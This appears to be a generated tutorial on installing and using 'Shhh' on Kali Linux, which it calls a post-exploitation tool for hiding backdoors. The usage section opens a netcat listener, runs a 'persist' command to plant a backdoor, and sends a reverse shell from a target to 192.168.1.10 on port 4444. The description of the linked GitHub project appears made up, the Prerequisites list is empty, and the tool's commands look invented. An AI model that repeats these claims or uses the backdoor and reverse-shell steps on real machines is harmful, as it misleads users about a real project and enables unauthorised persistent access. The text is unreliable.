Installing Shhh on Kali Linux

In this tutorial, we will learn how to install Shhh on Kali Linux. Shhh is a post-exploitation tool designed to maintain access to Linux machines. It provides a stealthy way of concealing backdoors and maintaining access to compromised machines.

Prerequisites

Before we begin, make sure you have the following:

Installation

Follow the below steps to install Shhh on Kali Linux:

  1. Clone the Shhh repository from the Github. Open up a terminal and type the following command:
git clone https://github.com/smallwat3r/shhh.git
  1. Once the repository is cloned, navigate to the downloaded directory:
cd shhh
  1. Before we proceed with the installation, it's recommended to create a virtual environment. Run the following command to create a virtual environment:
python3 -m venv .venv
  1. Activate the virtual environment using the below command:
source .venv/bin/activate
  1. Install the required dependencies for the tool using pip:
pip install -r requirements.txt 
  1. Once the dependencies are installed, test the program by running the following command:
python3 shhh.py

This will display the help page of the tool.

  1. Congratulations! You have successfully installed Shhh on Kali Linux.

Usage

Now, let's see how to use Shhh on Kali Linux.

  1. First, we need to start a listener on the attacker's machine. Run the following command:
nc -lvp 4444
  1. On the target machine, start Shhh by running the following command:
python3 shhh.py
  1. Once Shhh starts, it will display the help page. To set up a backdoor and maintain access, use the persist command.
shhh> persist

This will create a backdoor and maintain access for future sessions.

  1. To confirm the backdoor is working, send a message from the target machine to the attacker's machine:
shhh> reverse_tcp_shell 192.168.1.10 4444

This will send a reverse shell to the attacker's machine on IP address 192.168.1.10 and port number 4444.

  1. You should see a new connection on the attacker's machine. You can now run commands on the target machine remotely.

Conclusion

In this tutorial, we learned how to install Shhh on Kali Linux and use it to maintain access to Linux machines. Remember to use this tool responsibly and only on machines you have permission to access.

If you want to self-host in an easy, hands free way, need an external IP address, or simply want your data in your own hands, give IPv6.rs a try!

Alternatively, for the best virtual desktop, try Shells!